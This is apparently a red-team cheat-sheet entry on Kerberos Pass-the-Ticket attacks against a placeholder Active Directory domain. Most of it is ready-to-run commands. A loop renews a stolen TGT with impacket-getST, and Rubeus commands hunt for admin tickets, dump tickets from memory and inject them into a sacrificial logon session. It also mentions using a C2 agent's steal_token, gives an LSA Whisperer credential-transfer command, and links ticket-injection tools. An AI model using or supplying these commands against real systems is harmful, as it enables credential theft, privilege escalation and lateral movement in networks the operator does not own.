Pass-the-Ticket

Keep your TGTs fresh!

$ while true; do KRB5CCNAME=j.doe@[email protected] proxychains4 -q impacket-getST -k -no-pass megacorp.local/j.doe -spn krbtgt/megacorp.local -renew; sleep 3600; done

Rubeus

Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon session):

PS > .\Rubeus.exe triage | findstr krbtgt | findstr admin

Extract the tickets from memory:

PS > .\Rubeus.exe dump [/service:krbtgt] [/luid:0x1337] /nowrap

Create a sacrificial process (Logon type 9) and import the TGT into its logon session:

PS > .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
PS > .\Rubeus.exe ptt /luid:0x1337 /ticket:<BASE64_TICKET>

If operating Rubeus from a C2 agent, you can steal_token instead of using /show option.

You can also extract and reuse TGS tickets with this technique.

LSA Whisperer

• https://github.com/EvanMcBroom/lsa-whisperer/releases/tag/latest

lsa> kerberos TransferCredentials --sluid <SRC_LUID> --dluid <DST_LUID>

Manual Tickets Injection

• https://github.com/OtterHacker/Cerbere

• https://xakep.ru/2023/04/04/no-mimikatz/

• https://github.com/MzHmO/articles/tree/main/Ticket%20Injector

• https://github.com/MzHmO/PowershellKerberos